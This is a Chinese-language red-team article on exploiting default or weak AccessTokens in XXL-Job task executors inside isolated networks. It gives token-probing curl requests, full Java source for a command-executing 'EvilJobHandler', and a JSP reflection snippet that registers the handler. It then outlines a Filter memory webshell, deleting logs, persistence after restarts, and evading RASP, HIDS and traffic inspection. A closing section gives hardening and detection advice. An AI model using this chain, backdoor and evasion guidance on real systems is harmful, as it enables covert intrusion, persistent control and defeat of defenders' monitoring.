XXL-Job执行器默认AccessToken漏洞在不出网环境下的深度利用与防御
1. 项目概述:一次对调度系统安全边界的深度渗透
最近在内部的一次红蓝对抗演练中,我们遇到了一个非常典型的场景:目标系统部署了XXL-Job作为分布式任务调度中心,但执行器(Executor)所在的服务器处于严格的网络隔离环境,也就是我们常说的“不出网”或“内网隔离”环境。在这种限制下,传统的反弹Shell、远程下载文件等利用方式基本失效。然而,在对XXL-Job执行器默认配置进行审计时,我们发现了一个被广泛忽视但危害极大的安全问题——默认的、弱口令级别的AccessToken配置。这个发现,为我们打开了一条在不出网环境下实现权限维持的新路径。
XXL-Job是一个开源的分布式任务调度平台,其核心架构分为调度中心(Admin)和执行器(Executor)。执行器负责接收调度中心的指令并执行具体的JobHandler(任务处理器)。为了保障通信安全,XXL-Job设计了AccessToken机制,调度中心调用执行器时需携带此Token进行校验。问题恰恰出在这里:许多开发者和运维人员在部署时,会直接使用官方示例或默认配置,将执行器的AccessToken设置为像“default_token”这样简单、常见甚至为空的值。这就好比给家里的防盗门装了一把密码锁,却把密码贴在了门上。
在不出网场景下,攻击者一旦通过其他途径(如Web漏洞)获取了执行器所在服务器的权限,或者发现了未授权访问执行器API的入口,这个薄弱的AccessToken就成为了通往系统深处的钥匙。利用它,我们可以直接与执行器的内置HTTP API交互,无需依赖外部网络,实现命令执行、文件操作,并最终注入一个隐蔽的内存WebShell(内存马),实现持久的后渗透控制。接下来,我将详细拆解整个利用链的每一个环节,从漏洞原理到实操利用,再到内存马的构造与注入,并分享在此过程中积累的实战经验和避坑指南。
2. 漏洞原理与利用链深度解析
要理解这个漏洞的威力,必须首先吃透XXL-Job执行器的通信模型和安全边界。很多人认为执行器只是一个“干活”的组件,安全重心应该放在调度中心或Web界面上,这是一个严重的认知误区。
2.1 默认AccessToken的安全误区
XXL-Job的执行器在启动时,需要通过配置文件(如xxl-job-executor.properties)或启动参数设置xxl.job.accessToken。官方文档和示例中,为了快速启动演示,常常配置为:
xxl.job.accessToken=default_token甚至有些匆忙上线的项目直接留空。调度中心调用执行器时,会在HTTP请求头中携带此Token:
POST /run HTTP/1.1 X-ACCESS-TOKEN: default_token ...执行器端会校验收到的Token是否与自身配置一致。这里的风险是双重的:
- 弱Token可被爆破或猜测:“default_token”、“123456”、“xxl-job”等是攻击字典的常客。
- 空Token等于无认证:若配置为空,则任何知道执行器地址和端口的请求都能直接调用核心接口。
关键在于,这个认证是单向的。调度中心认证执行器注册时,执行器并不反向认证调度中心。因此,任何一个能够向执行器IP和端口发送HTTP请求的客户端,只要掌握了正确的AccessToken,就被执行器视为“合法的调度中心”,可以调用其所有功能。
2.2 执行器API接口的攻击面分析
执行器内置了一个HTTP服务(默认端口9999,基于Netty或Jetty),主要提供以下几个关键接口,这些接口共同构成了我们的攻击面:
| 接口路径 | 方法 | 功能描述 | 攻击利用价值 |
|---|---|---|---|
/run | POST | 触发执行一个指定的JobHandler | 核心利用点。通过它执行我们自定义的恶意任务代码。 |
/idleBeat | POST | 检测执行器是否空闲 | 信息收集,确认执行器状态和可用性。 |
/beat | POST | 心跳检测 | 信息收集。 |
/log | POST | 查看任务执行日志 | 信息收集,读取执行结果或敏感日志。 |
其中,/run接口是我们攻击的焦点。它的请求体是一个JSON,包含了要执行的任务的所有信息:
{ "jobId": 1, "executorHandler": "demoJobHandler", "executorParams": "test", "glueType": "BEAN" }executorHandler: 指定要执行的JobHandler的名称。执行器内部维护着一个名为jobHandlerRepository的Map,存放了所有注册的Bean模式JobHandler。glueType: 任务模式。BEAN模式表示执行一个已注册的Spring Bean;GLUE_XXX模式支持动态上传和执行代码(如GLUE_JAVA),但通常权限控制更严或默认关闭,我们优先利用更通用的BEAN模式。
攻击思路由此清晰:如果我们能向执行器注册一个恶意的JobHandler Bean,然后通过/run接口,以正确的AccessToken调用这个Handler,就能在目标JVM进程中执行任意代码。而且,这一切都发生在JVM内部,完全不需要与外界网络通信。
2.3 不出网环境的挑战与机遇
“不出网”意味着目标服务器无法主动发起对外部IP的TCP/UDP连接。这封死了以下常见手段:
- 反弹TCP/UDP Shell到公网VPS。
- 使用
curl/wget下载远程二进制木马。 - 利用DNS、HTTP、ICMP等协议进行数据外带(某些严格场景下)。
但这反而迫使攻击者进行更深入的利用。我们的利用链完全基于内存操作:
- 内存中查找与注入:利用Java的反射机制,在运行的JVM中动态查找、修改或注册Bean。
- 内存WebShell:注入的恶意代码直接在JVM内存中创建一个HTTP处理器,不落盘任何文件。
- 流量伪装:内存马的通信流量混杂在正常的XXL-Job执行器流量中,隐蔽性极高。
这种利用方式,摆脱了对文件系统和外部网络的依赖,是高级持久化威胁的典型手法。
3. 实战利用:从信息收集到恶意Handler注册
假设我们已经通过某种方式(如SSH弱口令、其他应用RCE)获得了目标服务器的一个Shell,或者发现了一个未授权访问的执行器端点。接下来,我们按步骤推进。
3.1 环境探测与AccessToken验证
首先,需要确认XXL-Job执行器的存在和详细信息。
步骤1:查找配置文件在服务器上,搜索包含“xxl.job”关键字的配置文件。
find / -name "*.properties" -o -name "*.yml" -o -name "*.yaml" 2>/dev/null | xargs grep -l "xxl.job" 2>/dev/null或者检查应用目录、Spring Boot的application.properties/yml。
步骤2:检查进程和网络端口
ps aux | grep xxl-job netstat -tlnp | grep -E ‘:(9999|7399)‘ # 默认端口9999,调度中心7399 lsof -i:9999步骤3:验证AccessToken与API可达性如果我们找到了疑似Token(比如default_token),或者打算爆破,可以用curl直接测试。先测试接口是否存活:
curl -X POST http://目标IP:9999/beat如果返回{“code”:200, “msg”:null}之类的,说明执行器服务正常。然后,带上可能的Token测试/run接口(用一个不存在的handler,看认证错误还是handler找不到错误):
curl -X POST http://目标IP:9999/run \ -H “X-ACCESS-TOKEN: default_token” \ -H “Content-Type: application/json” \ -d ‘{“jobId”:1,“executorHandler”:“notExist”,“executorParams”:“”,“glueType”:“BEAN”}‘- 如果返回
{“code”:500, “msg”:“The access token is wrong.”},说明Token错误。 - 如果返回
{“code”:500, “msg”:“job handler [notExist] not found.”},恭喜,Token正确!这说明我们通过了认证,只是Handler不存在。
实操心得:在实际内网中,执行器端口可能被修改,也可能与业务应用共用端口(如部署在Spring Boot内,端口为8080)。关键在于找到
X-ACCESS-TOKEN这个请求头。有时可以通过翻阅项目源码、历史部署脚本甚至运维文档来获取Token。
3.2 动态注册恶意JobHandler
这是整个利用链的技术核心。我们需要在目标JVM中,动态创建一个实现了IJobHandler接口的类,并将其注册到XXL-Job执行器的jobHandlerRepository中。
XXL-Job执行器在Spring容器启动时,会扫描所有@Component注解且实现了IJobHandler的Bean,自动注册。我们要做的是在运行时模拟这个过程。
步骤1:编写恶意JobHandler的Java代码我们需要一段能执行任意命令,并且能回显结果的代码。以下是一个高度精简且通用的恶意Handler示例:
import com.xxl.job.core.handler.IJobHandler; import com.xxl.job.core.context.XxlJobHelper; import java.io.BufferedReader; import java.io.InputStreamReader; public class EvilJobHandler extends IJobHandler { @Override public void execute() throws Exception { // 从任务参数中获取要执行的命令 String command = XxlJobHelper.getJobParam(); if (command == null || command.trim().isEmpty()) { XxlJobHelper.log(“No command provided.”); XxlJobHelper.handleFail(); return; } boolean isWindows = System.getProperty(“os.name”).toLowerCase().contains(“win”); String[] cmd = isWindows ? new String[]{“cmd”, “/c”, command} : new String[]{“/bin/sh”, “-c”, command}; Process process = Runtime.getRuntime().exec(cmd); StringBuilder output = new StringBuilder(); try (BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()))) { String line; while ((line = reader.readLine()) != null) { output.append(line).append(“\n”); } } int exitCode = process.waitFor(); // 将命令执行结果记录到XXL-Job日志,方便我们通过/log接口查看 XxlJobHelper.log(“Command: “ + command + “\nExitCode: “ + exitCode + “\nOutput:\n“ + output.toString()); if (exitCode == 0) { XxlJobHelper.handleSuccess(); } else { XxlJobHelper.handleFail(); } } }这个Handler从任务参数中读取命令,执行后,将结果通过XxlJobHelper.log()写入XXL-Job的日志上下文。这样,我们就可以通过执行器的/log接口来读取命令执行结果,完美适配不出网环境。
步骤2:利用JSP/Java Agent或直接反射注入在不出网且有Shell的情况下,我们有几种方式将上面的代码加载到目标JVM:
- JSP文件写入(如果有Java Web应用):将上述Java类编译后的字节码,或者直接编写一个JSP脚本,利用Java反射机制在内存中定义类并注册。这是最常见的方式。
- Java Agent注入:如果条件允许,上传一个简单的Agent Jar,利用
InstrumentationAPI进行类转换和注册,更为隐蔽和稳定。 - 直接通过现有RCE执行反射代码:如果我们已有的RCE点可以执行较长的Java代码,可以直接写一段反射代码来完成所有操作。
这里以通过JSP反射注入为例,展示核心过程。我们编写一个JSP,其核心功能是:
- 使用
URLClassLoader或defineClass加载我们构造的EvilJobHandler类字节码。 - 通过Spring上下文获取
XxlJobExecutor实例。 - 使用反射获取其内部的
jobHandlerRepository(通常是一个ConcurrentHashMap)。 - 将我们创建的
EvilJobHandler实例放入这个Map,key为我们指定的名称,例如“cmdHandler”。
由于代码较长,关键反射代码如下片段:
<% // 获取Spring上下文 WebApplicationContext ctx = WebApplicationContextUtils.getWebApplicationContext(request.getSession().getServletContext()); // 获取名为 “xxlJobExecutor” 的Bean Object xxlJobExecutor = ctx.getBean(“xxlJobExecutor”); // 反射获取 jobHandlerRepository 字段 Field repoField = xxlJobExecutor.getClass().getDeclaredField(“jobHandlerRepository”); repoField.setAccessible(true); ConcurrentHashMap<String, IJobHandler> repository = (ConcurrentHashMap<String, IJobHandler>) repoField.get(xxlJobExecutor); // 创建我们恶意Handler的实例 IJobHandler evilHandler = new EvilJobHandler(); // 这里需要先定义或加载EvilJobHandler类 // 注册到仓库 repository.put(“cmdHandler”, evilHandler); out.println(“Evil JobHandler ‘cmdHandler’ registered successfully!”); %>实际利用时,需要解决EvilJobHandler类的定义问题。我们可以将其Java源码字符串在内存中编译,或者直接构造其字节码。对于复杂情况,使用javassist或asm库会更方便,但在不出网环境下,需要将这些库的Jar包一并上传或使用目标环境已有的。
避坑指南:不同版本的XXL-Job,其内部字段名和结构可能有细微差别。
jobHandlerRepository字段在较新版本中可能存在。如果反射失败,需要分析目标版本的源码或使用Java反编译工具查看具体字段名。一个更稳健的方法是,直接遍历XxlJobExecutor对象的所有字段,找到那个Map<String, IJobHandler>类型的字段。
4. 内存马注入:构建无文件的后门
成功注册了恶意JobHandler,我们已经可以执行命令了。但这还不够“持久”和“隐蔽”。每次执行命令都需要通过XXL-Job的/run接口触发,并需要查看日志获取结果。我们希望有一个更直接的、像WebShell一样的交互方式。这就是内存马(内存WebShell)的价值所在。
内存马的本质,是在运行的Java Web应用(如Tomcat、Spring Boot)的内存中,动态注册一个新的Servlet、Filter、Controller或者Listener,使其能够处理特定的HTTP请求,从而提供一个隐藏的后门。它不写入任何文件,重启后失效,但隐蔽性极强。
4.1 基于Filter的内存马原理
在Java Web容器中,Filter(过滤器)可以拦截所有请求,是注入内存马的理想位置。我们的目标是:向当前Web应用的FilterChain中动态插入一个我们自定义的恶意Filter。
关键步骤:
- 获取当前应用的
StandardContext:这是Tomcat的核心上下文对象,管理着所有的Servlet和Filter。 - 创建恶意Filter类和实例:这个Filter会检查请求中是否包含特定的密码参数(如
?cmd=whoami&pwd=secret)。 - 将Filter添加到
FilterDef并注册到StandardContext。 - 创建
FilterMap,将我们的Filter映射到某个URL模式(如/*拦截所有请求,或者/xxladmin/*这样更隐蔽的路径)。 - 将
FilterMap添加到StandardContext的过滤器映射链的首位,确保优先执行。
4.2 通过恶意JobHandler注入内存马
现在,我们将这两部分结合起来。我们之前注册的cmdHandler可以用来执行一段复杂的Java反射代码,这段代码的功能就是注入一个Filter内存马。
我们改造一下EvilJobHandler的execute方法,使其支持两种模式:
- 模式一:直接执行系统命令并回显(基础功能)。
- 模式二:执行一段特殊的“安装内存马”指令。
当我们在/run接口的executorParams中传递一段特定的启动指令时,Handler会执行注入内存马的代码。注入成功后,我们就拥有了一个独立的、隐蔽的Web后门,可以直接通过HTTP请求与目标交互,不再依赖XXL-Job的日志接口。
注入内存马的Java反射代码非常复杂,涉及到对Tomcat内部API的深度操作。这里给出一个概念性的步骤描述:
- 获取当前线程的
WebappClassLoader。 - 通过
Thread.currentThread().getContextClassLoader()获取ApplicationContext。 - 使用反射层层深入,获取到
StandardContext对象。这是最复杂且版本兼容性最差的一步,不同Tomcat版本路径不同。 - 定义恶意Filter类。通常使用字节码技术动态生成一个实现了
javax.servlet.Filter接口的类。这个类的doFilter方法会检查请求参数,匹配则执行命令并回写响应。 - 实例化Filter并创建
FilterDef。 - 将
FilterDef加入StandardContext。 - 创建
FilterMap并设置映射关系,将其插入到Filter链前端。 - 通知
StandardContext重新加载过滤器。
核心难点与经验:内存马注入的成功率高度依赖目标Web容器的具体版本(Tomcat 7/8/9/10, Jetty, Undertow)和Spring Boot的内嵌方式。在实战中,我通常会准备多个针对不同版本的注入代码片段。一种更稳妥的方法是,先利用
cmdHandler执行一个探测命令,收集环境信息(如java -version, 查找catalina.home, 检查ServletContext属性等),再决定使用哪一套注入代码。
4.3 内存马的通信与使用
假设我们成功注入了一个Filter内存马,映射到了/*路径,并设置了连接密码pwd=secret123。那么后续的利用就变得非常简单和直接:
# 直接通过HTTP请求执行命令,结果直接返回在HTTP响应体中 curl “http://目标IP:应用端口/any/path?pwd=secret123&cmd=whoami”这种方式:
- 无文件:所有操作在内存中完成,
ps、ls等命令找不到可疑进程或文件。 - 高隐蔽:流量混合在大量正常的HTTP业务请求中,除非对流量进行深度内容审计并匹配特定参数,否则很难发现。
- 功能强大:可以在这个Filter中集成文件管理、代理转发、端口扫描等复杂功能。
5. 痕迹清理与防御规避实践
在红队行动中,利用之后清理痕迹和保护持久化后门同样重要。针对这条利用链,我们需要关注以下几点:
5.1 清理XXL-Job日志
通过/run接口执行命令后,命令和结果会记录在XXL-Job的日志中。虽然这些日志通常存储在数据库或本地文件,不出网环境下外部难以查看,但内部的安全运维人员或HIDS(主机入侵检测系统)可能会扫描。我们的恶意JobHandler在执行完命令后,可以尝试自动清理本次触发的日志记录。
这需要再次反射调用XXL-Job的日志服务接口。更简单粗暴的方法是,在注册恶意Handler时,同时注册一个“日志清理”Handler,定期清理包含特定关键词的日志。但要注意,过度清理或规律性的清理行为本身可能成为异常点。
5.2 内存马的自我保护
注入到StandardContext中的Filter定义,在应用重启后会消失。为了维持权限,有几种思路:
- 挂钩到持久化存储:将内存马的字节码或启动指令,以加密形式写入数据库的某个隐蔽字段、配置文件注释或缓存的Value中。当应用重启后,通过另一个入口(如另一个未修复的漏洞)触发一段代码,从持久化存储中读取并重新注入。这实现了“无文件持久化”。
- 利用计划任务:在操作系统中植入一个计划任务(crontab或Windows Task),定期检测内存马是否存在,不存在则重新利用XXL-Job漏洞注入。但这涉及到文件操作,增加了暴露风险。
- 驻留在其他内存对象中:更高级的技术尝试将恶意代码驻留在JVM的某些“长寿”对象中,但实现复杂,稳定性差。
在不出网且防守严格的环境下,“低频率、高价值”的使用原则是关键。不要频繁使用后门,每次使用后尽量清理本次产生的日志和进程记录。
5.3 对抗安全检测
- 对抗RASP/IAST:运行时应用安全保护可能会检测到危险的反射调用(如
defineClass、getDeclaredField并setAccessible)。可以通过更迂回的方式,或者利用已存在的、白名单内的类加载器来加载恶意类。 - 对抗HIDS:执行命令时会创建子进程。可以优先使用纯Java实现的命令(如遍历文件目录用
java.nio.file.Files而非Runtime.exec(“ls”)),避免触发进程创建告警。 - 流量混淆:内存马的参数可以使用编码(如Base64)、加密,甚至伪装成正常的业务参数。
6. 防御建议与修复方案
从防御者视角看,如何避免和发现此类利用?
6.1 安全配置加固
- 强制使用强AccessToken:将AccessToken视为重要密码,使用足够长度(16位以上)且随机的字符串,并定期更换。切勿使用默认值或空值。
- 网络访问控制:严格限制执行器端口的访问来源。只允许调度中心IP访问执行器的API端口(默认9999)。使用防火墙或安全组策略实现最小化网络暴露。
- 调度中心安全:调度中心的管理界面同样需要强密码认证,并避免暴露在公网。
- 定期升级:关注XXL-Job官方安全更新,及时升级到最新版本。
6.2 入侵检测与响应
- 监控异常JobHandler注册:可以增强XXL-Job执行器源码,在
jobHandlerRepository的put方法增加日志告警,记录非应用启动阶段的Handler注册行为。 - 日志审计:密切关注XXL-Job调度日志中,是否存在来源IP异常、执行参数异常(如包含
bash、powershell、curl等命令片段)的任务执行记录。 - 主机层监控:监控Java进程是否通过
Runtime.exec或ProcessBuilder启动了异常子进程。监控9999等执行器端口上的异常HTTP请求模式。 - 内存马检测:使用专业的内存马检测工具或脚本,定期扫描运行中的Java应用,检查是否存在未知的Servlet、Filter或Controller。可以对比
StandardContext中的Filter定义与web.xml或注解声明是否一致。
6.3 架构层面思考
对于安全性要求极高的场景,可以考虑:
- 将执行器部署在独立的、网络策略极其严格的环境中。
- 考虑使用更安全的任务调度平台,或者对XXL-Job进行深度定制,增加二次认证、执行签名等机制。
- 建立完善的DevSecOps流程,在CI/CD环节对应用配置(包括AccessToken)进行安全扫描和硬编码检查。
这次对XXL-Job执行器默认AccessToken漏洞的利用实践,再次印证了一个道理:安全是一个整体,最薄弱的环节往往出现在那些被认为“只是内部组件”、“默认配置没问题”的地方。不出网环境也绝非安全的保险箱,它只是将攻击者的战场从网络层转移到了系统层和应用内存层,对抗的难度和精细度要求反而更高。作为防御方,必须摒弃“内网就是安全的”旧观念,实行全面的纵深防御策略。